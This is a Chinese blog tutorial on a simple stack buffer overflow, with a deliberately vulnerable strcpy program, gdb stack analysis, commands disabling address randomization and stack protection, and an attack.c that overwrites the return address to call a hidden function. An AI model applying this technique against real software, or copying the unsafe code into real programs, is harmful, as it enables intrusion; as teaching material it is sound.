`
malixxx
  • 浏览: 100528 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

缓冲区溢出利用的简单例子

阅读更多
缓冲区溢出利用的简单例子

gcc从版本4以后就已经加上了缓冲区溢出攻
击的保护机制(这个以后再讲),所以在gcc的4版本以上进行实验的读者,可以在编译时加上-fno-stack-protector选项来关闭缓冲区溢   -fno-stack-protector这个编译的时候可以不加.
出保护。当然,也可以在更低版本的gcc中实现。

可能每一次gdb调试,分配给程序的虚拟地址空间都不一样,这就给初次做实验的读者构成了很大的不便,可以执行这个
命令echo "0" >  /proc/sys/kernel/randomize_va_space


问题如下:
1.       ../sysdeps/i386/elf/start.S: No such file or directory.
        in ../sysdeps/i386/elf/start.S

是因为在编译时没有加-g 引起,加上后就正常了。

2.在gdb中调试时,变量踪跟
print accum
打印出的值是不正确的(129302998或者是-1749387483),就像我没给它初始化一样,
就算我用print accum=5后,再print accum,也没用的,还是不对,网上查来查去都找不到。
但是我编译出的程序是可以正常运行的,就是gdb 调试不正常,我怀疑是gdb的问题。
先前,我把GCC升级了(4.1.0),而gdb仍然是老版本5.3,所以我下了一个gdb6.6,安装后就正常了。

gdb命令描述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
break 在代码里设置断点, 这将使程序执行到这里时被挂起.
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令. 


利用缓冲区溢出调用bar函数
有个漏洞程序:

#include "stdio.h"
#include "string.h"
void copyout(const char *input){
    char buf[10];
    strcpy(buf,input);
    printf("%s \n",buf);
};

void bar(void){
    printf("being hacked\n");
}

int main(int argc,char *argv[]){
    copyout(argv[1]);
    return 0;
}



利用缓冲区溢出调用bar函数

[dorainm@dorainm lab1]$ vi lab1.c
//编译运行
[dorainm@dorainm lab1]$ gcc lab1.c -o lab1
[dorainm@dorainm lab1]$ ls
lab1  lab1.c
[dorainm@dorainm lab1]$ ./lab1 dorainm
dorainm
[dorainm@dorainm lab1]$


现在我们加入 -ggdb 参数,重新编译,然后用 gdb进行调试
[dorainm@dorainm lab1]$ gcc -g lab1.c -o lab1
[dorainm@dorainm lab1]$ gdb lab1
GNU gdb Red Hat Linux (6.3.0.0-1.122rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) disassemble copyout              
Dump of assembler code for function copyout:
0x080483e4 <copyout+0>: push   %ebp                   copyout方法的开始位置
0x080483e5 <copyout+1>: mov    %esp,%ebp
0x080483e7 <copyout+3>: sub    $0x18,%esp
0x080483ea <copyout+6>: mov    0x8(%ebp),%eax
0x080483ed <copyout+9>: mov    %eax,0x4(%esp)
0x080483f1 <copyout+13>:        lea    0xfffffff6(%ebp),%eax
0x080483f4 <copyout+16>:        mov    %eax,(%esp)
0x080483f7 <copyout+19>:        call   0x8048330 <__gmon_start__@plt+16>
0x080483fc <copyout+24>:        lea    0xfffffff6(%ebp),%eax
0x080483ff <copyout+27>:        mov    %eax,0x4(%esp)
0x08048403 <copyout+31>:        movl   $0x8048500,(%esp)
0x0804840a <copyout+38>:        call   0x8048310
0x0804840f <copyout+43>:        leave
0x08048410 <copyout+44>:        ret
End of assembler dump.
(gdb) disassemble bar                     
Dump of assembler code for function bar:
0x08048411 <bar+0>:     push   %ebp                    bar方法的开始位置
0x08048412 <bar+1>:     mov    %esp,%ebp
0x08048414 <bar+3>:     sub    $0x8,%esp
0x08048417 <bar+6>:     movl   $0x8048505,(%esp)
0x0804841e <bar+13>:    call   0x80482f0
0x08048423 <bar+18>:    leave
0x08048424 <bar+19>:    ret
End of assembler dump.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048425 <main+0>:    lea    0x4(%esp),%ecx
0x08048429 <main+4>:    and    $0xfffffff0,%esp
0x0804842c <main+7>:    pushl  0xfffffffc(%ecx)
0x0804842f <main+10>:   push   %ebp
0x08048430 <main+11>:   mov    %esp,%ebp
0x08048432 <main+13>:   push   %ecx
0x08048433 <main+14>:   sub    $0x4,%esp
0x08048436 <main+17>:   mov    0x4(%ecx),%eax
0x08048439 <main+20>:   add    $0x4,%eax
0x0804843c <main+23>:   mov    (%eax),%eax
0x0804843e <main+25>:   mov    %eax,(%esp)
0x08048441 <main+28>:   call   0x80483e4 <copyout>
0x08048446 <main+33>:   mov    $0x0,%eax
0x0804844b <main+38>:   add    $0x4,%esp
0x0804844e <main+41>:   pop    %ecx
0x0804844f <main+42>:   pop    %ebp
0x08048450 <main+43>:   lea    0xfffffffc(%ecx),%esp
0x08048453 <main+46>:   ret
End of assembler dump.
(gdb)
gdb返汇编了copyout3,bar,main,个函数,可以获得3个函数的起始地址,比如我们需要跳到的
bar 函数是0x08048411 的位置,我们要设法把 eip 变成这个值,方法可以直接往 copyout里面10个字节大小的缓冲区填充,让它溢出,把返回的 eip 地址覆盖成 0x08048411,就可以完成革命任务了!

我们在 main 函数处设置断点,然后单步跟踪,看看copyout怎么申明内存空间怎么复制的:)
//设置断点
(gdb) break main
Breakpoint 1 at 0x8048425: file lab1.c, line 17.
//运行,参数是7个字符的dorainm
(gdb) run dorainm     dorainm为参数
The program being debugged has been started already.
Start it from the beginning? (y or n) y
warning: cannot close "shared object read from target memory": 文件格式错误

Starting program: /home/dorainm/studio/c/exploit/mine/lab1/lab1 dorainm
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x323000

Breakpoint 1, main (argc=Cannot access memory at address 0xa2203d7
) at lab1.c:17
17      {
//开始单步跟踪
(gdb) step
main (argc=2, argv=0xbf8a99a4) at lab1.c:18
18              copyout(argv[1]);
//现在我们在main函数里面,argc值是2,main函数的行参在esp入栈后,然后call主函数main的,我们查看寄存器状态可以看到
(gdb) i r
eax            0xbf8a99a4       -1081435740
ecx            0xbf8a9920       -1081435872
edx            0x2      2
ebx            0x9edff4 10412020
esp            0xbf8a9900       0xbf8a9900
ebp            0xbf8a9908       0xbf8a9908
esi            0x8b7cc0 9141440
edi            0x0      0
eip            0x8048436        0x8048436
//main函数中的0x08048436 <main+17>:   mov    0x4(%ecx),%eax
eflags         0x200286 2097798
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
//进入copyout之后
//0x08048441 <main+28>:   call   0x80483e4 <copyout>
(gdb) step
copyout (input=0xbf8ab97a "dorainm") at lab1.c:7
7               strcpy(buf,input);
//看看寄存器的变化
(gdb) i r
eax            0xbf8ab97a       -1081427590
ecx            0xbf8a9920       -1081435872
edx            0x2      2
ebx            0x9edff4 10412020
esp            0xbf8a98e0       0xbf8a98e0
//另一个要关心的就是 esp了,我们看看copyout的ret返回main函数下一条指令的0x08048446 <main+33>:   mov    $0x0,%eax的eip值,
0x08048446 在栈中的位置,我们在下一步查看esp上下的内存单位
寄存器EBP、ESP、BP和SP称为指针寄存器(Pointer Register),
主要用于存放堆栈内存储单元的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。
ebp            0xbf8a98f8       0xbf8a98f8
esi            0x8b7cc0 9141440
edi            0x0      0
eip            0x80483ea        0x80483ea
//变成了copyout里面的0x080483ea <copyout+6>: mov    0x8(%ebp),%eax
指令指针EIP、IP(Instruction Pointer)是存放下次将要执行的指令在代码段的偏移量。
在具有预取指令功能的系统中,下次要执行的指令通常已被预取到指令队列中,除非发生转移情况。所以,在理解它们的功能时,不考虑存在指令队列的情况。
eflags         0x200282 2097794
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
---------------------------
检查内存值
x /NFU ADDR
---------------------------
N代表重复数
---------------------------
U
b :字节(byte)
h :双字节数值
w :四字节数值
g :八字节数值
---------------------------
F
'x' 16进制整数格式
'd' 有符号十进制整数格式
'u' 无符号十进制整数格式
'f' 浮点数格式
---------------------------
(gdb) x/50x 0xbf8a98a0             从0xbf8a98a0开始显示重复50个 x为16进制
0xbf8a98a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbf8a98b0:     0x00000000      0x0177ff8e      0x00000000      0x00000000
0xbf8a98c0:     0x00000000      0x00000000      0x00000001      0x00000000
0xbf8a98d0:     0x00000000      0x00000000      0xbf8ab94c      0x08048370
//这儿就是栈顶了
0xbf8a98e0:     0x009edff4      0x080495f8      0xbf8a98f8      0x080482dd
0xbf8a98f0:     0x009eec80      0xbf8a99b0      0xbf8a9908      0x08048446
//上排最后一个,就是栈中保存着eip的位置,我们要覆盖到这个地址!
0xbf8a9900:     0xbf8ab97a      0xbf8a9920      0xbf8a9978      0x008d47e4
0xbf8a9910:     0x008b7cc0      0x0804845c      0xbf8a9978      0x008d47e4
0xbf8a9920:     0x00000002      0xbf8a99a4      0xbf8a99b0      0x008ab5bb
0xbf8a9930:     0x00000000      0xb7fac690      0x00000001      0x00000001
0xbf8a9940:     0x009edff4      0x008b7cc0      0x00000000      0xbf8a9978
0xbf8a9950:     0xb525dd5e      0x0a2203d7      0x00000000      0x00000000
0xbf8a9960:     0x00000000      0x008b09e0
//执行了strcpy,我们可以看到,dorianm被复制到的栈中的位置
(gdb) step             单步进到copyout方法中
8               printf("%s \n",buf);
(gdb) x/50x 0xbf8a98a0
0xbf8a98a0:     0x00000000      0x0804822a      0x00000000      0x08049614
0xbf8a98b0:     0x008c26d4      0x009edff4      0x008b7cc0      0x00000000
0xbf8a98c0:     0xbf8a98f8      0x008b09e0      0x00000002      0xbf8a9920
0xbf8a98d0:     0x00928b10      0x008b7cc0      0xbf8a98f8      0x080483fc
0xbf8a98e0:     0xbf8a98ee      0xbf8ab97a      0xbf8a98f8      0x6f6482dd
                                                                  od               dorainm输入的参数
0xbf8a98f0:     0x6e696172      0xbf8a006d      0xbf8a9908      0x08048446
                  niar          m                ebp             eip
main方法中的
0x08048441 <main+28>:   call   0x80483e4 <copyout>
0x08048446 <main+33>:   mov    $0x0,%eax

//dorainm被复制到栈的位置是这样子的,可以看出
//0xbf8a98ee-0xbf8a98f8 10个内存单元是char buf[10],接下来是保护现场入栈的ebp和eip
0xbf8a9900:     0xbf8ab97a      0xbf8a9920      0xbf8a9978      0x008d47e4
0xbf8a9910:     0x008b7cc0      0x0804845c      0xbf8a9978      0x008d47e4
0xbf8a9920:     0x00000002      0xbf8a99a4      0xbf8a99b0      0x008ab5bb
0xbf8a9930:     0x00000000      0xb7fac690      0x00000001      0x00000001
0xbf8a9940:     0x009edff4      0x008b7cc0      0x00000000      0xbf8a9978
0xbf8a9950:     0xb525dd5e      0x0a2203d7      0x00000000      0x00000000
0xbf8a9960:     0x00000000      0x008b09e0
//我们要自己构建一个19大小的字符串(最后一个单元为0,不然printf打印字符串的时候,不知道会在哪地方结束:),其中最后4位是 bar的入口eip,这样子,在copyout结束时,ret,pop eip,bar的地址就会写到eip中,程序就会运行bar函数了
//我们退出调试,编写攻击代码
(gdb)quit
[dorainm@dorainm lab1]$ vi attack.c

#include "stdio.h"

char code[]=
"\x41\x41\x41\x41\x41" /*buf, fill with 'A'*/
"\x41\x41\x41\x41\x41"
"\x42\x42\x42\x42" /*ebp, fill with 'B'*/
"\x11\x84\x04\x08" /*eip*/   先写低位
"\x00"; /*end*/

int main(void)
{
    char *arg[3];
    arg[0]="./lab1";
    arg[1]=code;
    arg[2]=NULL;
    execve(arg[0],arg,NULL);
    return 0;
}



//然后编译程序
[dorainm@dorainm lab1]$ gcc attack.c -o attack
//运行攻击程序
[dorainm@dorainm lab1]$ ./attack
AAAAAAAAAABBBB 
being hacked
段错误
//okay,攻击成功,执行了bar当中的代码(显示了being hacked)
//段错误的原因是,调用bar函数时候,没有保存其父函数的现场,所以没法恢复,程序在完成bar函数后,就不知道要去哪,所以出错:)
[dorainm@dorainm lab1]$
//结束,完成任
分享到:
评论

相关推荐

    缓冲区溢出攻击实例

    "缓冲区溢出攻击实例" 缓冲区溢出攻击是一种常见的网络攻击方式,它可以让攻击者获得系统的控制权。缓冲区溢出攻击的原理是基于缓冲区溢出漏洞,该漏洞是由于程序在处理用户输入时没有正确地检查缓冲区的大小,导致...

    缓冲区溢出 的简单讲解

    ### 缓冲区溢出的深入解析 #### 引言 缓冲区溢出,作为计算机安全领域中的一个经典问题,自计算机科学诞生以来就一直存在。它是指在程序执行过程中,由于错误的数据处理或不当的边界检查,导致数据写入超出预分配...

    windows 缓冲区溢出

    缓冲区溢出通常发生在程序处理数据时,当输入的数据超过了预分配的内存空间(即缓冲区)所能容纳的范围,超出的部分就会覆盖相邻的内存区域,从而可能导致程序崩溃或被恶意利用。 一、缓冲区溢出原理 缓冲区溢出的...

    缓冲区溢出攻击原理实例

    **缓冲区溢出攻击原理与实例** 缓冲区溢出攻击是一种常见的网络安全威胁,它利用了程序处理内存时的疏忽,尤其是当程序没有正确检查输入数据的大小时。这种攻击通常发生在程序尝试将数据写入固定大小的内存区域(即...

    缓冲区溢出光速入门 缓冲区溢出基基础

    下面通过一个简单的示例来说明缓冲区溢出的基本原理: ```c /* buffer overflow example by watercloud@xfocus.org */ #include void why_here(void) { printf("why u here?!\n"); _exit(0); } int main(int ...

    缓冲区溢出实验

    缓冲区溢出漏洞经常被黑客利用,例如著名的Shellcode攻击。攻击者通过溢出修改返回地址,使程序跳转到恶意代码的地址执行,实现远程控制或权限提升。 ### 6. 实验学习收获 通过本实验,你将能够: - 理解缓冲区...

    Windows下缓冲区溢出漏洞的利用

    #### 三、Windows平台下的缓冲区溢出利用 ##### 1. 利用流程概览 在Windows环境下,利用缓冲区溢出漏洞通常涉及以下步骤: - **识别漏洞**:首先,需确定目标应用程序中存在缓冲区溢出的潜在风险,通常通过代码...

    缓冲区溢出教程

    随后,教程详细阐述了在Windows平台下,如何利用堆栈溢出来进行攻击,包括本地缓冲区溢出的简单利用和通过特定漏洞编写代码进行溢出攻击,如FoxMail和Printer漏洞利用等。 在堆栈溢出的利用编程方面,教材具体解释...

    简单的缓冲区溢出源码

    ### 缓冲区溢出基础知识 #### 一、缓冲区溢出概述 缓冲区溢出是一种常见的安全漏洞,它发生在程序向内存中的缓冲区写入数据时超过了该缓冲区的实际大小,导致溢出的数据覆盖了相邻的内存空间。这种攻击方式可以被...

    Q版缓冲区溢出教程

    本教程将通过生动的故事形式,深入浅出地解释缓冲区溢出的原理、如何利用它以及如何进行有效的防御。 缓冲区,简单来说,就是程序中用于临时存储数据的一段内存空间。当程序员在处理数据时,如果超过了预分配的空间...

    Q版缓冲区溢出教程 王炜

    《Q版缓冲区溢出教程》是网络安全领域中王炜老师编写的一本针对初学者的漏洞分析入门书籍。这本书以浅显易懂的方式讲解了缓冲区溢出这一关键的计算机安全问题,旨在帮助读者理解其原理,掌握检测与防范的方法。 ...

    Q版缓冲区溢出教程.doc

    这种现象可能导致程序崩溃,更严重的是,攻击者可以利用缓冲区溢出漏洞执行任意代码,从而控制受影响的系统。 在Windows环境下,缓冲区溢出通常涉及以下关键点: 1. **栈帧结构**:每个函数调用都会在栈上创建一个...

    Q版缓冲区溢出教程word格式

    1. **缓冲区溢出基础**:解释什么是缓冲区,以及为何会发生溢出,介绍经典缓冲区溢出例子,如Stack Overflow和Heap Overflow。 2. **溢出原理**:深入解析溢出发生的机理,包括栈帧结构、函数调用过程和返回地址的...

    Q版缓冲区溢出教程源代码

    2. **经典示例**:源代码中可能包含了一些经典的缓冲区溢出漏洞示例,如strcpy、gets等函数的不当使用,通过这些例子来展示问题的产生。 3. **堆栈布局**:了解操作系统的内存管理机制,特别是堆栈的工作原理,是...

    缓冲区溢出之第六章

    7. **案例分析**:通过实际的代码示例和漏洞实例,深入解析缓冲区溢出的发生过程和后果。 8. **安全更新与补丁**:了解软件开发商如何修复此类漏洞,以及用户如何及时应用这些更新以保护系统安全。 9. **实战演练*...

    q版缓冲区溢出教程

    接着,教程介绍了缓冲区溢出的简单利用方法,包括ShellCode的定位与构造利用等实战技巧。作者以FoxMail和Printer等软件溢出漏洞的编写为例,展示了从漏洞分析到实际利用的全过程。其中,作者提到了使用通用的JMP ESP...

    缓冲区溢出攻击原理+实例讲解

    "缓冲区溢出攻击原理+实例讲解" 缓冲区溢出攻击是一种常见的安全漏洞,发生在缓冲区向内存写入数据时。当缓冲区的容量不足以容纳所有数据时,多余的数据将溢出到相邻的内存区域,可能覆盖掉该区域的数据,从而导致...

    计算机系统基础之缓冲区溢出攻击实验

    ### 缓冲区溢出攻击实验知识点解析 #### 实验背景 缓冲区溢出是一种常见的安全漏洞,通过向固定长度的缓冲区写入超出其容量的数据来触发。这种攻击能够导致程序崩溃,甚至允许攻击者执行任意代码。《计算机系统基础...

Global site tag (gtag.js) - Google Analytics